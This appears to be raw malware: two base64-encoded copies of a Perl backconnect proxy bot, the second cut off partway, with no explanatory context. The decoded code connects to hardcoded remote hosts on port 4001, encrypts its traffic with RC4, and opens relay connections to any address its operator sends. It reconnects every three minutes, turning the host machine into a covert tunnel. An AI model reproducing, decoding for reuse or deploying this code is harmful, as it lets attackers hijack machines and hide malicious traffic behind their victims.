"IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYz